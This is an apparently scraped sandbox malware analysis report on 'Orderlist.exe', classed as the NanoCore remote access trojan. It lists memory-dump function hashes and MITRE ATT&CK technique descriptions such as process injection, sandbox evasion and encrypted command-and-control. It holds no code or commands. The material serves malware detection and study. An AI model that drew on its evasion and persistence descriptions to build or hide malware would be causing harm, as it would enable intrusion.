Instruction ID: e1295c98bd82b4df1b3ad161c124977a20d56a97f4bdea1f2c02418c9b7a40c1
Opcode Fuzzy Hash: 8350f6715cb22fc091c214f55ad9e5177f80d0576f6cfa2bc1aca5dbf07ef04f
Instruction Fuzzy Hash: C2F17E342002068FC715DF68D588A6E7BF6FF84320F46C5A9D8468B66ADB74FC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05052660, Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ed3fce1e98e47263e174934f06e6f22cc40fb139b921d327a3f1731f5350bba
Instruction ID: 3c61e0d5717d76d9e9a1f5b5503fdf7a09f8e8a52bf59be0117c73845a629749
Opcode Fuzzy Hash: 1ed3fce1e98e47263e174934f06e6f22cc40fb139b921d327a3f1731f5350bba
Instruction Fuzzy Hash: 4071CD38A01216DFC329DB25E994B2F77E2FF84321F01C569E94A9B694DB34EC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05051860, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812dae7c33cb11d025d243ecc5e25e52e7fc563ebb20111ed6809d73c398195d
Instruction ID: e8adacebcb665ec76ee8ebce61a7c3368b1bf1a941182e2911df4f7651c2580a
Opcode Fuzzy Hash: 812dae7c33cb11d025d243ecc5e25e52e7fc563ebb20111ed6809d73c398195d
Instruction Fuzzy Hash: 3C61F2306042458FCB06DB28D884BBF7BE6FF45310F0985AAE895DB292D730ED45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 05050006, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fcf1c56952f38d1bf12ee5f24b417e9edcec008a6f3911e5bff33124515d90f
Instruction ID: 5e5b218b9a805be1e816be7c034539ac063eaff38fd38204b0abbd6d7c9fb3c2
Opcode Fuzzy Hash: 1fcf1c56952f38d1bf12ee5f24b417e9edcec008a6f3911e5bff33124515d90f
Instruction Fuzzy Hash: 59318D6150D3C58FD706A734DC6975A3FB5AF82704F4A88EED085CB2E7EA288849C753

Uniqueness

Uniqueness Score: -1.00%

Function 05051C41, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4538d377f5985ee2cb55b58a94c486ee5ba2d6e645334f7ab7644c90f4c0dcc2
Instruction ID: 85d0e475d423a6fc46c26d205f796d07a80e1876b9654d9c166c223870b8256d
Opcode Fuzzy Hash: 4538d377f5985ee2cb55b58a94c486ee5ba2d6e645334f7ab7644c90f4c0dcc2
Instruction Fuzzy Hash: 97314B30B005049FCB08DB79E458AAE7BE7BF89320F204569E512DB3A0DF719C45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0505014F, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f988479f0747a87c0e8efdecf632e8fa5c5885c006cb25d37bd2a7bac5fb9517
Instruction ID: ea0adc899e412102e07c4a5d28e06093f513f2ebbb5132d8a5a67f767cfff032
Opcode Fuzzy Hash: f988479f0747a87c0e8efdecf632e8fa5c5885c006cb25d37bd2a7bac5fb9517
Instruction Fuzzy Hash: 8F215672E10108AFDB19DFA6E8549DEBBFAFF88710F048136E515F3254EA3099418B51

Uniqueness

Uniqueness Score: -1.00%

Function 05050521, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0714b9005d0019ef2ba9ed919e6a8ae3fd9590adc335ce98e8613030700a7b4f
Instruction ID: 66307c21101302bd6625491b1436b0a383a903c3567222224594b048b0b6cb63
Opcode Fuzzy Hash: 0714b9005d0019ef2ba9ed919e6a8ae3fd9590adc335ce98e8613030700a7b4f
Instruction Fuzzy Hash: C01149303401208FC759B73CD468B6E3AE7BFC6711B2544B8E50ACB7A2DE29CD819792

Uniqueness

Uniqueness Score: -1.00%

Function 05050530, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58cc744d84ba4ebfb2b48c319e55d49cb1bab139e7feb69c077e10439f26180e
Instruction ID: 14273fec0d8f25c7ae08a02bb71b2f3592a415c92c74ac228c45aab5a9a105d0
Opcode Fuzzy Hash: 58cc744d84ba4ebfb2b48c319e55d49cb1bab139e7feb69c077e10439f26180e
Instruction Fuzzy Hash: D7116D303401208FC759B73CD468A6E3AE7AFC5711B2504B8E50BCF7A2DE29CC819792

Uniqueness

Uniqueness Score: -1.00%

Function 050520C0, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227da87cf0776e34a3dfe6d62d46ae77703cdd967f8fac0593680d158d31f587
Instruction ID: be58c64d866912de43e09d8f07dd10065d5fa46fe552afcac34ae9931481f629
Opcode Fuzzy Hash: 227da87cf0776e34a3dfe6d62d46ae77703cdd967f8fac0593680d158d31f587
Instruction Fuzzy Hash: B911213AB042129BC724AA35F8087AF37E7BFC0321F088179ED16C3249EB308990C391

Uniqueness

Uniqueness Score: -1.00%

Function 05050630, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c53479710c42c1b5bce85dc99d5cc26989068618f77cec0710d7f536b90c8b16
Instruction ID: 5936a2586b8d521911e86f80785c05b96873c51cb8ba1a722a09c4d3b239eff6
Opcode Fuzzy Hash: c53479710c42c1b5bce85dc99d5cc26989068618f77cec0710d7f536b90c8b16
Instruction Fuzzy Hash: 9001D1317041118BC71DAB36E42C5AE3BEBFFC4A607198079E516E7398DF208C42CB92

Uniqueness

Uniqueness Score: -1.00%

Function 029805CF, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.248329341.0000000002980000.00000040.00000040.sdmp, Offset: 02980000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fb2994843b2846f473bfd9bf8d16a294d96ef8357cc041aa3913ed4dc859d3f
Instruction ID: 994ee91f821d9ab2670cd90c3fca3b1d34b6883b99f9df99b6614b0b4e7762aa
Opcode Fuzzy Hash: 8fb2994843b2846f473bfd9bf8d16a294d96ef8357cc041aa3913ed4dc859d3f
Instruction Fuzzy Hash: 5D01D6B25083805FD702CF06EC40862FFF8EE86220708C09BEC898B612D239A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 050528D7, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b3362d12a66daf0d48735ad6dca9811c6ef114d0b5ccf17503362378e8ed3e
Instruction ID: 85c5ea2501d0ebb75ff7140616391c24194dd49b7c17f42c2c921831a5103981
Opcode Fuzzy Hash: 59b3362d12a66daf0d48735ad6dca9811c6ef114d0b5ccf17503362378e8ed3e
Instruction Fuzzy Hash: EF01F7306093815FD71A577598347AF3FF6AFC2210F19C0AEA495C72D3DD288806CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05052350, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93221a265181fa4760d12d2971815e1277a5cdfa089020dfb91843e6fa2d861c
Instruction ID: a25088887cac2c812bfd12b3ddd6e037c204ceeb2056c3b49481a23dc42c2b90
Opcode Fuzzy Hash: 93221a265181fa4760d12d2971815e1277a5cdfa089020dfb91843e6fa2d861c
Instruction Fuzzy Hash: BBF0C2347402266BC615B27DD854AEF33DBAFC9A107444664E50AE73D4EE25ED02C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 050522D0, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce95482b32606751259e0cda5de4c8834be0ec058196c25011f36933e12c1124
Instruction ID: 58e92165f873b4488ee6428ff2eeaca39e353bd684ffd2f270a880955d472ea0
Opcode Fuzzy Hash: ce95482b32606751259e0cda5de4c8834be0ec058196c25011f36933e12c1124
Instruction Fuzzy Hash: 0EF04F717401218FC708ABB8D518B9E3BDAFF99711F148179E44ACB369DE399C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 050528E8, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 031674bf6d0cf7dd882bac58a05ec52825dc5313715200af05893d88d73a9979
Instruction ID: debcd3b7d3fb1433e6aae8e510044fa46ad89903766b9c20ef3e819937534b29
Opcode Fuzzy Hash: 031674bf6d0cf7dd882bac58a05ec52825dc5313715200af05893d88d73a9979
Instruction Fuzzy Hash: CBF0C8306093815FD71A1776983466F3FBAAFC3210B19C0AAA495CB3D2DD388D46DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05052448, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40e90b5b75f5313fdef41bd9e82023aaa252d63c84b0e19a032562cc50f6ddfe
Instruction ID: 37295c1279d4dc5a6b983e84f2da16631bc9e622f186dee870e53ad008db4ff8
Opcode Fuzzy Hash: 40e90b5b75f5313fdef41bd9e82023aaa252d63c84b0e19a032562cc50f6ddfe
Instruction Fuzzy Hash: 65F082353001409BD318EF39E88498F7BAAEF89221B60883AA51AC7319DE358C468760

Uniqueness

Uniqueness Score: -1.00%

Function 05050640, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e152fdbe1921dd85fa49d3170c22cf52f4315cf3809353cae45c04a218eb7867
Instruction ID: 1d2d7b3b09b73a9a1ea56575f894700a072638012418df1fff449868305f728f
Opcode Fuzzy Hash: e152fdbe1921dd85fa49d3170c22cf52f4315cf3809353cae45c04a218eb7867
Instruction Fuzzy Hash: 2BE092357105118B875CBB7AA41C46D3BEBFFC8A6135DC079EA1AC3394DF208C428796

Uniqueness

Uniqueness Score: -1.00%

Function 029805F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.248329341.0000000002980000.00000040.00000040.sdmp, Offset: 02980000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a565932ee11edd4fbbc87bad04c26af42b1461f4046058c342c66c2ac57be5
Instruction ID: 77c2ea4748b5f136f633032ae72d0e02886cc0939a3197d1a37e4bbcc0ddd4af
Opcode Fuzzy Hash: a4a565932ee11edd4fbbc87bad04c26af42b1461f4046058c342c66c2ac57be5
Instruction Fuzzy Hash: 16E092766406044BD650DF0AED41456FBD8EB84630B18C07FDC0D8B711D679F509CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 05052458, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ae3ce8fe546babe10f567d8bf68d10dbba94f5f688b67d67b36765719d4b0c4
Instruction ID: e221f5b08a6dc055c2b14c6c6a25fc412704230f54f6d36120199d8c0c2a5e8d
Opcode Fuzzy Hash: 7ae3ce8fe546babe10f567d8bf68d10dbba94f5f688b67d67b36765719d4b0c4
Instruction Fuzzy Hash: 88E012363001149BD758EB39F89889F7B9AEFC9261760C93AA51AC7308DE71DC4587A0

Uniqueness

Uniqueness Score: -1.00%

Function 05052500, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c0994634cf404308829df813ba61781866a13131d7c2a7e106ac78d2e1bbb5
Instruction ID: b0572dce3c0fb12ad004091885239e149369ddfd34bdb81bbe3e23be8cca5a03
Opcode Fuzzy Hash: c9c0994634cf404308829df813ba61781866a13131d7c2a7e106ac78d2e1bbb5
Instruction Fuzzy Hash: AFE0C2323041209FC30866AEE410A5F77DEDBC9321B10407AE109C7351CEB5AC4143A1

Uniqueness

Uniqueness Score: -1.00%

Function 050506C8, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de31bcfe0207ee8a645f7c592e42e5b781265f3726b6a70684e16aca0072575
Instruction ID: 803a38b1859b99b3322c102565f9eba2b41ba98b72fac9052bccb3b8f46022b2
Opcode Fuzzy Hash: 9de31bcfe0207ee8a645f7c592e42e5b781265f3726b6a70684e16aca0072575
Instruction Fuzzy Hash: FFD0A7B3144700EFE344DB209C45B6F7BEDD785720F60C1557866D21D5FA3044484732

Uniqueness

Uniqueness Score: -1.00%

Function 010623F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.248182017.0000000001062000.00000040.00000001.sdmp, Offset: 01062000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028a3045cfd7d2cef135396a48b42d4e3edaa880937259f1850dd86d08125bc3
Instruction ID: 2370392fd10f2198c7522dbf9674728dd9605c1c034d025834495f4f019b1e43
Opcode Fuzzy Hash: 028a3045cfd7d2cef135396a48b42d4e3edaa880937259f1850dd86d08125bc3
Instruction Fuzzy Hash: C8D05E79245A814FE3268B1CC1A8BA53FE8AF52B04F8644F9E8408B677CB68D5D1D200

Uniqueness

Uniqueness Score: -1.00%

Function 05050251, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62a1b8905c49a9f3b6417085037cacfee82d6906134bad3b4581d11f0397efc
Instruction ID: 6bd32689218b2af63dd5e75df68166911be1843dec6d0f944c641b8eef5814f5
Opcode Fuzzy Hash: d62a1b8905c49a9f3b6417085037cacfee82d6906134bad3b4581d11f0397efc
Instruction Fuzzy Hash: 6BD0C936B001008FDF1496BDF5191ACB796AFC5226B10006BD50ADB661E92588198601

Uniqueness

Uniqueness Score: -1.00%

Function 010623BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.248182017.0000000001062000.00000040.00000001.sdmp, Offset: 01062000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1bb6cdc70be77ed6b64f62eee66a22fe93aae8ce50bd020f8a194043ecc207
Instruction ID: 22f42c53ef827dc48ea0f60f592ff758259ff9fb844f893a482638b3e52f0a39
Opcode Fuzzy Hash: 3c1bb6cdc70be77ed6b64f62eee66a22fe93aae8ce50bd020f8a194043ecc207
Instruction Fuzzy Hash: C8D05E342402824BD715DB0CC2A4F593BD8AF41B00F0684EAAC408B266C3A4D8C1C600

Uniqueness

Uniqueness Score: -1.00%

Function 05050130, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a8a8bad4d6bd44f23fe37d102614a3bb8209036a51bdda99741c6d30d64538
Instruction ID: 58de90bc2b9b053350de01de32778b628df9c1823212de485f0a379e0aaf448c
Opcode Fuzzy Hash: 08a8a8bad4d6bd44f23fe37d102614a3bb8209036a51bdda99741c6d30d64538
Instruction Fuzzy Hash: BDC02B30354A0807DF1016F8784832F33CCB780F14F080430B81FC7140ED1AD8405254

Uniqueness

Uniqueness Score: -1.00%

Function 05052428, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 601028f3470a4f43a3b18c654a80e2b0156795c41494275ed8d46f426d3a4fba
Instruction ID: a92f766ab50e2a980e3a56b3074914175f2048c4e8cba34a1f75d61c1ca03941
Opcode Fuzzy Hash: 601028f3470a4f43a3b18c654a80e2b0156795c41494275ed8d46f426d3a4fba
Instruction Fuzzy Hash: 9FC012B0414201EFC744FF28ED4586A7BF0FB80605F84C93CE489C2114F230555CCB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Orderlist.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: NanoCore

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

AV Detection:

E-Banking Fraud:

Stealing of Sensitive Information:

Remote Access Functionality:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Function 00401530, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 87
windowmemoryCOMMON

Function 00401EBD, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 0040563D, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Function 00403D91, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Function 00403CFF, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Function 00404401, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Function 0040349E, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Function 0040A90D, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Function 004049F7, Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Function 00406849, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Function 0040572D, Relevance: .0, Instructions: 22
COMMON

Function 00401180, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 116
COMMON

Function 00401300, Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 76
registrywindowCOMMON

Function 00401440, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82
windowCOMMON

Function 0040109B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
windowCOMMON

Function 00406419, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMON

Function 00408088, Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMON

Function 00403523, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
